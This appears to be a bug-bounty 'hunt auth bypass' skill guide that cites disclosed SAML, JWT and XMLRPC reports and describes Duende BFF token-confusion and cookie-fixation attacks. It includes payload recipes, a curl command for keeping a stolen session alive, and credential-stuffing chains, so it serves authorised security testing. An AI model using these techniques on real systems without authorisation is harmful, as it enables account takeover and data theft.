Hunt Auth Bypass

Disclosed Report Citations (Backfill +8 — 2016-2025)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.

5. GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) (H1 #2579939 · Blog)

   • Subclass: SAML signature stripping / XSW (parser-differential variant)
   • Payload: signed SAML response; inject a sibling <Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>
   • Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
   • Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)

6. GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) (H1 #2475347 · ProjectDiscovery advisory)

   • Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
   • Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including site_admin
   • Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
   • Year: 2024 — bounty undisclosed, CVSS 10.0

7. Uber — SAML auth bypass on uchat.uberinternal.com (H1 #223014)

   • Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
   • Payload: replay/modify SAML assertion with forged NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
   • Root cause: improper SAML signature verification on SP implementation
   • Year: 2017 — $8,500

8. Uber — OneLogin SSO bypass via WordPress XMLRPC (H1 #138869)

   • Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
   • Payload: OneLogin plugin auto-created WP users with literal password @@@nopass@@@. SSO plugin blocked wp-login.php only. POST xmlrpc.php with wp.getUsersBlogs + known shared password → authenticated as any previously-SSO'd user
   • Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
   • Year: 2016 — $7,000

9. Slack — SAML "confused-deputy" assertion reuse (Writeup)

   • Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
   • Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
   • Root cause: no audience-restriction nor freshness check; trust extended across IdPs
   • Year: 2017 — $3,000

10. HackerOne — SAML signup domain enforcement bypass via control characters (H1 #2101076)

    • Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
    • Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g., \r, ) to email → domain comparison normalises away, signup proceeds → unauthorised access to the org
    • Root cause: inconsistent unicode/control-char normalisation between domain check and identity write
    • Year: 2024 — bounty awarded (amount undisclosed)

11. 8x8 / Jitsi-Meet — JWT alg-confusion (asymmetric verifier accepts symmetric alg) (H1 #1210502)

    • Subclass: JWT alg-confusion (RS256 → HS256 using public key as HMAC secret)
    • Payload: server publishes RS256 verification public key. Send a token with header {"alg":"HS256"} signed with that public key as the HMAC secret → Prosody module validates and admits attacker into authenticated/moderator room
    • Root cause: verifier did not enforce alg=RS256; allowed symmetric algorithm using the public key as shared secret
    • Year: 2021 — bounty undisclosed

12. Argo CD (Internet Bug Bounty) — JWT audience claim not validated (CVE-2023-22482) (H1 #1889161)

    • Subclass: token-scope / audience check at issuance not at use (cross-audience token confusion)
    • Payload: obtain any RS256-signed token signed by the cluster's OIDC issuer but minted for a different aud (e.g., kubernetes) → present it as bearer to Argo CD API → API treats it as valid because it accepted the issuer's signature and skipped aud enforcement
    • Root cause: aud claim not enforced; signature-trust extended across audiences
    • Year: 2023 — $2,400 via IBB

Duende BFF — Token-Confusion & Session-Fixation (2024-2026 surface)

Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in hunt-csrf. Both are documented architectural realities, not unicorn CVEs.

Attack class 1 — YARP UserOrClient / UserOrNone privilege escalation

Duende.BFF.Yarp attaches access tokens to proxied routes via WithAccessToken(TokenType.X) metadata. The misconfig pattern: developer marks a route UserOrClient (use user token if logged in, else fall back to client-credentials token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (api.admin, internal.read) than any user token. An unauthenticated attacker hitting that route gets the request proxied with the service-account token attached to the downstream API — privilege escalation by design when the downstream trusts the bearer.

Payload shape: identify a BFF route marked TokenType.UserOrClient (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. (docs.duendesoftware.com/bff/fundamentals/apis/yarp)

Adjacent confirmed CVE: CVE-2024-51987 in Duende.AccessTokenManagement.OpenIdConnect — "HTTP client uses incorrect token after refresh" — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. (GHSA-...51987)

Attack class 2 — Cookie-domain wildcard + sliding expiration = persistent ATO

When BFF session cookie has Domain=.example.com (devs do this to share login across app. and admin.), the __Host- prefix protection is dropped. Any sibling subdomain — including a taken-over one (legacy.example.com CNAMEd to deprovisioned Heroku/S3) — can write Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com. Victim hits app.example.com carrying the attacker's session = session-fixation ATO.

If SlidingExpiration=true (default) and ExpireTimeSpan is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls /bff/user. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.

Payload shape: subdomain takeover → write the BFF session cookie with Domain=.example.com → victim's next visit to app.example.com adopts attacker's session. Cron-curl GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' every 6h indefinitely to keep the session alive.

Hardening reference: docs.duendesoftware.com/bff/fundamentals/session/handlers, nestenius.se BFF cookie guide, Langkemper on __Host- prefix.

Attack class 3 — /bff/user claim disclosure

GET /bff/user returns the full claim set of the active session as a JSON array — sub, sid, email, bff:session_expires_in, bff:session_state, bff:logout_url, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + X-CSRF: 1. If AnonymousSessionResponse=Response200 is set, the endpoint also acts as a session probe (200 + claims vs 200 + null) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. (docs.duendesoftware.com/bff/fundamentals/session/management/user)

Evidence strength + reporting tip

No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent Duende.AccessTokenManagement packages make token-confusion a confirmed family. Report by chain impact (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.

Cross-references for the chain:

• hunt-csrf — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
• hunt-subdomain-takeover / hunt-subdomain — required primitive for the cookie-domain attack.

Function-Level Access Control (Broken Authorization)

Authentication bypass gets you in; function-level access control failures let an already-authenticated low-privilege user reach privileged functions the UI never offered them. This is the authorization sibling of hunt-idor (object-level access) — test both whenever you hold any authenticated session.

The sibling-function rule: if 9 endpoints under a path enforce auth/role middleware, the 10th that doesn't is your bug. Admin route families are the highest-yield place to look:

/api/admin/users   → has auth middleware
/api/admin/export  → often MISSING it
/api/admin/delete  → often MISSING it
/api/admin/reset   → often MISSING it

Anti-patterns to grep for:

// Missing middleware on a sibling route
router.get('/admin/users',  authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);            // No middleware!

// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton();      // frontend gate
app.post('/api/admin/delete', deleteUser);         // no server-side check

How to hunt: enumerate every privileged endpoint (admin/export/delete/reset/impersonate, GraphQL admin queries), then replay each from a regular authenticated session — and again with no session. A 200 (or a differential vs the 403 its siblings return) is broken function-level access control.

Real paid example — HackerOne TrustHub: POST /graphql with the TrustHubQuery operation had no authorization check — a regular user could read all vendors' data (CVSS 8.7, High). The object-level variant (e.g. a WebSocket get_history accepting an arbitrary UUID with no ownership check) belongs to hunt-idor.

Related Skills & Chains

• hunt-idor — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy /v1/users/{id} route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.
• hunt-ato — Auth-bypass primitives feed the ATO funnel. Chain primitive: XMLRPC native-cred acceptance + no rate limit on wp.getUsersBlogs → credential-stuff with breach corpus from hunt-misc recon → system.multicall batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces.
• hunt-sharepoint — The SP equivalent of the WordPress XMLRPC pattern lives here. Chain primitive: /_vti_bin/Authentication.asmx anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded customlogin.aspx protections → FedAuth cookie → full SharePoint farm access.
• security-arsenal — Pull the JWT-attack payloads section (alg=none, kid path-traversal, JWK injection, RS256→HS256 key confusion) when JWT validation is the auth wall; pull the SAML signature-stripping section when the SP accepts unsigned assertions.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on an "auth bypass" that only enumerates usernames or only reveals a 401-vs-403 differential. Username enumeration alone without lockout-amplification is consistently N/A or Informational on H1.